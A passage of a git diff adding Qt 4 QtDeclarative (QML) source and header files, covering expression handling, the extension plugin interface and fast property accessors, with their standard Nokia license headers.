+ *m_prevExpression = m_nextExpression;
+ if (m_nextExpression)
+ m_nextExpression->m_prevExpression = m_prevExpression;
+ }
+}
+
+QDeclarativeContextData *QDeclarativeAbstractExpression::context() const
+{
+ return m_context;
+}
+
+void QDeclarativeAbstractExpression::setContext(QDeclarativeContextData *context)
+{
+ if (m_prevExpression) {
+ *m_prevExpression = m_nextExpression;
+ if (m_nextExpression)
+ m_nextExpression->m_prevExpression = m_prevExpression;
+ m_prevExpression = 0;
+ m_nextExpression = 0;
+ }
+
+ m_context = context;
+
+ if (m_context) {
+ m_nextExpression = m_context->expressions;
+ if (m_nextExpression)
+ m_nextExpression->m_prevExpression = &m_nextExpression;
+ m_prevExpression = &context->expressions;
+ m_context->expressions = this;
+ }
+}
+
+void QDeclarativeAbstractExpression::refresh()
+{
+}
+
+bool QDeclarativeAbstractExpression::isValid() const
+{
+ return m_context != 0;
+}
+
+QT_END_NAMESPACE
+
+#include <moc_qdeclarativeexpression.cpp>
diff --git a/src/declarative/qml/qdeclarativeexpression.h b/src/declarative/qml/qdeclarativeexpression.h
new file mode 100644
index 00000000..732aa747
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeexpression.h
@@ -0,0 +1,119 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEEXPRESSION_H
+#define QDECLARATIVEEXPRESSION_H
+
+#include <QtDeclarative/qdeclarativeerror.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qvariant.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QString;
+class QDeclarativeRefCount;
+class QDeclarativeEngine;
+class QDeclarativeContext;
+class QDeclarativeExpressionPrivate;
+class QDeclarativeContextData;
+class QScriptValue;
+class Q_DECLARATIVE_EXPORT QDeclarativeExpression : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeExpression();
+ QDeclarativeExpression(QDeclarativeContext *, QObject *, const QString &, QObject * = 0);
+ virtual ~QDeclarativeExpression();
+
+ QDeclarativeEngine *engine() const;
+ QDeclarativeContext *context() const;
+
+ QString expression() const;
+ void setExpression(const QString &);
+
+ bool notifyOnValueChanged() const;
+ void setNotifyOnValueChanged(bool);
+
+ QString sourceFile() const;
+ int lineNumber() const;
+ void setSourceLocation(const QString &fileName, int line);
+
+ QObject *scopeObject() const;
+
+ bool hasError() const;
+ void clearError();
+ QDeclarativeError error() const;
+
+ QVariant evaluate(bool *valueIsUndefined = 0);
+
+Q_SIGNALS:
+ void valueChanged();
+
+protected:
+ QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &,
+ QDeclarativeExpressionPrivate &dd);
+ QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QScriptValue &,
+ QDeclarativeExpressionPrivate &dd);
+ QDeclarativeExpression(QDeclarativeContextData *, void *, QDeclarativeRefCount *rc,
+ QObject *me, const QString &, int, QDeclarativeExpressionPrivate &dd);
+
+private:
+ QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &);
+
+ Q_DISABLE_COPY(QDeclarativeExpression)
+ Q_DECLARE_PRIVATE(QDeclarativeExpression)
+ Q_PRIVATE_SLOT(d_func(), void _q_notify())
+ friend class QDeclarativeDebugger;
+ friend class QDeclarativeContext;
+ friend class QDeclarativeVME;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEEXPRESSION_H
+
diff --git a/src/declarative/qml/qdeclarativeexpression_p.h b/src/declarative/qml/qdeclarativeexpression_p.h
new file mode 100644
index 00000000..bc47fb4b
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeexpression_p.h
@@ -0,0 +1,233 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEEXPRESSION_P_H
+#define QDECLARATIVEEXPRESSION_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeexpression.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+#include <QtScript/qscriptvalue.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeAbstractExpression
+{
+public:
+ QDeclarativeAbstractExpression();
+ virtual ~QDeclarativeAbstractExpression();
+
+ bool isValid() const;
+
+ QDeclarativeContextData *context() const;
+ void setContext(QDeclarativeContextData *);
+
+ virtual void refresh();
+
+private:
+ friend class QDeclarativeContext;
+ friend class QDeclarativeContextData;
+ friend class QDeclarativeContextPrivate;
+ QDeclarativeContextData *m_context;
+ QDeclarativeAbstractExpression **m_prevExpression;
+ QDeclarativeAbstractExpression *m_nextExpression;
+};
+
+class QDeclarativeDelayedError
+{
+public:
+ inline QDeclarativeDelayedError() : nextError(0), prevError(0) {}
+ inline ~QDeclarativeDelayedError() { removeError(); }
+
+ QDeclarativeError error;
+
+ bool addError(QDeclarativeEnginePrivate *);
+
+ inline void removeError() {
+ if (!prevError) return;
+ if (nextError) nextError->prevError = prevError;
+ *prevError = nextError;
+ nextError = 0;
+ prevError = 0;
+ }
+
+private:
+ QDeclarativeDelayedError *nextError;
+ QDeclarativeDelayedError **prevError;
+};
+
+class QDeclarativeQtScriptExpression : public QDeclarativeAbstractExpression,
+ public QDeclarativeDelayedError
+{
+public:
+ enum Mode { SharedContext, ExplicitContext };
+
+ enum EvaluateFlag { RequiresThisObject = 0x01 };
+ Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
+ QDeclarativeQtScriptExpression();
+ virtual ~QDeclarativeQtScriptExpression();
+
+ QDeclarativeRefCount *dataRef;
+
+ QString expression;
+
+ Mode expressionFunctionMode;
+ QScriptValue expressionFunction;
+
+ QScriptValue expressionContext; // Only used in ExplicitContext
+ QObject *scopeObject; // Only used in SharedContext
+
+ bool notifyOnValueChange() const;
+ void setNotifyOnValueChange(bool);
+ void resetNotifyOnChange();
+ void setNotifyObject(QObject *, int );
+
+ void setEvaluateFlags(EvaluateFlags flags);
+ EvaluateFlags evaluateFlags() const;
+
+ QScriptValue scriptValue(QObject *secondaryScope, bool *isUndefined);
+
+ class DeleteWatcher {
+ public:
+ inline DeleteWatcher(QDeclarativeQtScriptExpression *data);
+ inline ~DeleteWatcher();
+ inline bool wasDeleted() const;
+ private:
+ bool *m_wasDeleted;
+ bool m_wasDeletedStorage;
+ QDeclarativeQtScriptExpression *m_d;
+ };
+
+private:
+ void clearGuards();
+ QScriptValue eval(QObject *secondaryScope, bool *isUndefined);
+ void updateGuards(const QPODVector<QDeclarativeEnginePrivate::CapturedProperty> &properties);
+
+ bool trackChange;
+
+ QDeclarativeNotifierEndpoint *guardList;
+ int guardListLength;
+
+ QObject *guardObject;
+ int guardObjectNotifyIndex;
+ bool *deleted;
+
+ EvaluateFlags evalFlags;
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeQtScriptExpression::EvaluateFlags)
+
+
+class QDeclarativeExpression;
+class QString;
+class QDeclarativeExpressionPrivate : public QObjectPrivate, public QDeclarativeQtScriptExpression
+{
+ Q_DECLARE_PUBLIC(QDeclarativeExpression)
+public:
+ QDeclarativeExpressionPrivate();
+ ~QDeclarativeExpressionPrivate();
+
+ void init(QDeclarativeContextData *, const QString &, QObject *);
+ void init(QDeclarativeContextData *, const QScriptValue &, QObject *);
+ void init(QDeclarativeContextData *, void *, QDeclarativeRefCount *, QObject *, const QString &, int);
+
+ QVariant value(QObject *secondaryScope = 0, bool *isUndefined = 0);
+ QScriptValue scriptValue(QObject *secondaryScope = 0, bool *isUndefined = 0);
+
+ static QDeclarativeExpressionPrivate *get(QDeclarativeExpression *expr) {
+ return static_cast<QDeclarativeExpressionPrivate *>(QObjectPrivate::get(expr));
+ }
+ static QDeclarativeExpression *get(QDeclarativeExpressionPrivate *expr) {
+ return expr->q_func();
+ }
+
+ void _q_notify();
+ virtual void emitValueChanged();
+
+ static void exceptionToError(QScriptEngine *, QDeclarativeError &);
+ static QScriptValue evalInObjectScope(QDeclarativeContextData *, QObject *, const QString &, const QString &,
+ int, QScriptValue *);
+ static QScriptValue evalInObjectScope(QDeclarativeContextData *, QObject *, const QScriptProgram &,
+ QScriptValue *);
+
+ bool expressionFunctionValid:1;
+
+ QString url; // This is a QString for a reason. QUrls are slooooooow...
+ int line;
+ QByteArray name; //function name, hint for the debugger
+};
+
+QDeclarativeQtScriptExpression::DeleteWatcher::DeleteWatcher(QDeclarativeQtScriptExpression *data)
+: m_wasDeletedStorage(false), m_d(data)
+{
+ if (!m_d->deleted)
+ m_d->deleted = &m_wasDeletedStorage;
+ m_wasDeleted = m_d->deleted;
+}
+
+QDeclarativeQtScriptExpression::DeleteWatcher::~DeleteWatcher()
+{
+ if (false == *m_wasDeleted && m_wasDeleted == m_d->deleted)
+ m_d->deleted = 0;
+}
+
+bool QDeclarativeQtScriptExpression::DeleteWatcher::wasDeleted() const
+{
+ return *m_wasDeleted;
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEEXPRESSION_P_H
diff --git a/src/declarative/qml/qdeclarativeextensioninterface.h b/src/declarative/qml/qdeclarativeextensioninterface.h
new file mode 100644
index 00000000..695d345f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeextensioninterface.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEEXTENSIONINTERFACE_H
+#define QDECLARATIVEEXTENSIONINTERFACE_H
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+
+struct Q_DECLARATIVE_EXPORT QDeclarativeExtensionInterface
+{
+ virtual ~QDeclarativeExtensionInterface() {}
+ virtual void registerTypes(const char *uri) = 0;
+ virtual void initializeEngine(QDeclarativeEngine *engine, const char *uri) = 0;
+};
+
+Q_DECLARE_INTERFACE(QDeclarativeExtensionInterface, "com.trolltech.Qt.QDeclarativeExtensionInterface/1.0")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEEXTENSIONINTERFACE_H
diff --git a/src/declarative/qml/qdeclarativeextensionplugin.cpp b/src/declarative/qml/qdeclarativeextensionplugin.cpp
new file mode 100644
index 00000000..c93e4db6
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeextensionplugin.cpp
@@ -0,0 +1,171 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeextensionplugin.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \since 4.7
+ \class QDeclarativeExtensionPlugin
+ \brief The QDeclarativeExtensionPlugin class provides an abstract base for custom QML extension plugins.
+
+ \ingroup plugins
+
+ QDeclarativeExtensionPlugin is a plugin interface that makes it possible to
+ create QML extensions that can be loaded dynamically into QML applications.
+ These extensions allow custom QML types to be made available to the QML engine.
+
+ To write a QML extension plugin:
+
+ \list
+ \o Subclass QDeclarativeExtensionPlugin, implement registerTypes() method
+ to register types using qmlRegisterType(), and export the class using the Q_EXPORT_PLUGIN2() macro
+ \o Write an appropriate project file for the plugin
+ \o Create a \l{Writing a qmldir file}{qmldir file} to describe the plugin
+ \endlist
+
+ QML extension plugins can be used to provide either application-specific or
+ library-like plugins. Library plugins should limit themselves to registering types,
+ as any manipulation of the engine's root context may cause conflicts
+ or other issues in the library user's code.
+
+
+ \section1 An example
+
+ Suppose there is a new \c TimeModel C++ class that should be made available
+ as a new QML element. It provides the current time through \c hour and \c minute
+ properties, like this:
+
+ \snippet examples/declarative/cppextensions/plugins/plugin.cpp 0
+ \dots
+
+ To make this class available as a QML type, create a plugin that registers
+ this type with a specific \l {QML Modules}{module} using qmlRegisterType(). For this example the plugin
+ module will be named \c com.nokia.TimeExample (as defined in the project
+ file further below).
+
+ \snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+ \codeline
+ \snippet examples/declarative/cppextensions/plugins/plugin.cpp export
+
+ This registers the \c TimeModel class with the 1.0 version of this
+ plugin library, as a QML type called \c Time. The Q_ASSERT statement
+ ensures the module is imported correctly by any QML components that use this plugin.
+
+ The project file defines the project as a plugin library and specifies
+ it should be built into the \c com/nokia/TimeExample directory:
+
+ \code
+ TEMPLATE = lib
+ CONFIG += qt plugin
+ QT += declarative
+
+ DESTDIR = com/nokia/TimeExample
+ TARGET = qmlqtimeexampleplugin
+ ...
+ \endcode
+
+ Finally, a \l{Writing a qmldir file}{qmldir file} is required in the \c com/nokia/TimeExample directory
+ that describes the plugin. This directory includes a \c Clock.qml file that
+ should be bundled with the plugin, so it needs to be specified in the \c qmldir
+ file:
+
+ \quotefile examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir
+
+ Once the project is built and installed, the new \c Time element can be
+ used by any QML component that imports the \c com.nokia.TimeExample module:
+
+ \snippet examples/declarative/cppextensions/plugins/plugins.qml 0
+
+ The full source code is available in the \l {declarative/cppextensions/plugins}{plugins example}.
+
+ The \l {Tutorial: Writing QML extensions with C++} also contains a chapter
+ on creating QML plugins.
+
+ \sa QDeclarativeEngine::importPlugin(), {How to Create Qt Plugins}
+*/
+
+/*!
+ \fn void QDeclarativeExtensionPlugin::registerTypes(const char *uri)
+
+ Registers the QML types in the given \a uri. Subclasses should implement
+ this to call qmlRegisterType() for all types which are provided by the extension
+ plugin.
+
+ The \a uri is an identifier for the plugin generated by the QML engine
+ based on the name and path of the extension's plugin library.
+*/
+
+/*!
+ Constructs a QML extension plugin with the given \a parent.
+
+ Note that this constructor is invoked automatically by the
+ Q_EXPORT_PLUGIN2() macro, so there is no need for calling it
+ explicitly.
+*/
+QDeclarativeExtensionPlugin::QDeclarativeExtensionPlugin(QObject *parent)
+ : QObject(parent)
+{
+}
+
+/*!
+ \internal
+ */
+QDeclarativeExtensionPlugin::~QDeclarativeExtensionPlugin()
+{
+}
+
+/*!
+ \fn void QDeclarativeExtensionPlugin::initializeEngine(QDeclarativeEngine *engine, const char *uri)
+
+ Initializes the extension from the \a uri using the \a engine. Here an application
+ plugin might, for example, expose some data or objects to QML,
+ as context properties on the engine's root context.
+*/
+
+void QDeclarativeExtensionPlugin::initializeEngine(QDeclarativeEngine *engine, const char *uri)
+{
+ Q_UNUSED(engine);
+ Q_UNUSED(uri);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeextensionplugin.h b/src/declarative/qml/qdeclarativeextensionplugin.h
new file mode 100644
index 00000000..7ae49870
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeextensionplugin.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEEXTENSIONPLUGIN_H
+#define QDECLARATIVEEXTENSIONPLUGIN_H
+
+#include <QtCore/qplugin.h>
+
+#include <QtDeclarative/qdeclarativeextensioninterface.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+
+class Q_DECLARATIVE_EXPORT QDeclarativeExtensionPlugin : public QObject, public QDeclarativeExtensionInterface
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeExtensionInterface)
+public:
+ explicit QDeclarativeExtensionPlugin(QObject *parent = 0);
+ ~QDeclarativeExtensionPlugin();
+
+ virtual void registerTypes(const char *uri) = 0;
+ virtual void initializeEngine(QDeclarativeEngine *engine, const char *uri);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeExtensionPlugin)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEEXTENSIONPLUGIN_H
diff --git a/src/declarative/qml/qdeclarativefastproperties.cpp b/src/declarative/qml/qdeclarativefastproperties.cpp
new file mode 100644
index 00000000..2c4d6223
--- /dev/null
+++ b/src/declarative/qml/qdeclarativefastproperties.cpp
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativefastproperties_p.h"
+
+#include <private/qdeclarativeitem_p.h>
+
+QT_BEGIN_NAMESPACE
+
+// Adding entries to the QDeclarativeFastProperties class allows the QML
+// binding optimizer to bypass Qt's meta system and read and, more
+// importantly, subscribe to properties directly. Any property that is
+// primarily read from bindings is a candidate for inclusion as a fast
+// property.
+
+static void QObject_objectName(QObject *object, void *output, QDeclarativeNotifierEndpoint *endpoint)
+{
+ if (endpoint)
+ endpoint->connect(QDeclarativeData::get(object, true)->objectNameNotifier());
+ *((QString *)output) = object->objectName();
+}
+
+QDeclarativeFastProperties::QDeclarativeFastProperties()
+{
+ add(&QDeclarativeItem::staticMetaObject, QDeclarativeItem::staticMetaObject.indexOfProperty("parent"),
+ QDeclarativeItemPrivate::parentProperty);
+ add(&QObject::staticMetaObject, QObject::staticMetaObject.indexOfProperty("objectName"),
+ QObject_objectName);
+}
+
+int QDeclarativeFastProperties::accessorIndexForProperty(const QMetaObject *metaObject, int propertyIndex)
+{
+ Q_ASSERT(metaObject);
+ Q_ASSERT(propertyIndex >= 0);
+
+ // Find the "real" metaObject
+ while (metaObject->propertyOffset() > propertyIndex)
+ metaObject = metaObject->superClass();
+
+ QHash<QPair<const QMetaObject *, int>, int>::Iterator iter =
+ m_index.find(qMakePair(metaObject, propertyIndex));
+ if (iter != m_index.end())
+ return *iter;
+ else
+ return -1;
+}
+
+void QDeclarativeFastProperties::add(const QMetaObject *metaObject, int propertyIndex, Accessor accessor)
+{
+ Q_ASSERT(metaObject);
+ Q_ASSERT(propertyIndex >= 0);
+
+ // Find the "real" metaObject
+ while (metaObject->propertyOffset() > propertyIndex)
+ metaObject = metaObject->superClass();
+
+ QPair<const QMetaObject *, int> data = qMakePair(metaObject, propertyIndex);
+ int accessorIndex = m_accessors.count();
+ m_accessors.append(accessor);
+ m_index.insert(data, accessorIndex);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativefastproperties_p.h b/src/declarative/qml/qdeclarativefastproperties_p.h
new file mode 100644
index 00000000..e81f5642
--- /dev/null
+++ b/src/declarative/qml/qdeclarativefastproperties_p.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFASTPROPERTIES_P_H
+#define QDECLARATIVEFASTPROPERTIES_P_H
+
+#include <QtCore/qvector.h>
+#include <QtCore/qhash.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QObject;
+class QDeclarativeNotifierEndpoint;
+class QDeclarativeFastProperties
+{
+public:
+ typedef void (*Accessor)(QObject *object, void *output, QDeclarativeNotifierEndpoint *endpoint);
+
+ QDeclarativeFastProperties();
+
+ Accessor accessor(int index) const { return m_accessors.at(index); }
+ int accessorIndexForProperty(const QMetaObject *, int);
+
+private:
+ void add(const QMetaObject *, int, Accessor);
+
+ QHash<QPair<const QMetaObject *, int>, int> m_index;
+ QVector<Accessor> m_accessors;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEFASTPROPERTIES_P_H
diff --git a/src/declarative/qml/qdeclarativeglobal_p.h b/src/declarative/qml/qdeclarativeglobal_p.h
new file mode 100644
index 00000000..f46f44e5
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeglobal_p.h
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGLOBAL_H
+#define QDECLARATIVEGLOBAL_H
+
+#include <QtCore/qglobal.h>
+#include <QtCore/QObject>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+#define DEFINE_BOOL_CONFIG_OPTION(name, var) \
+ static bool name() \
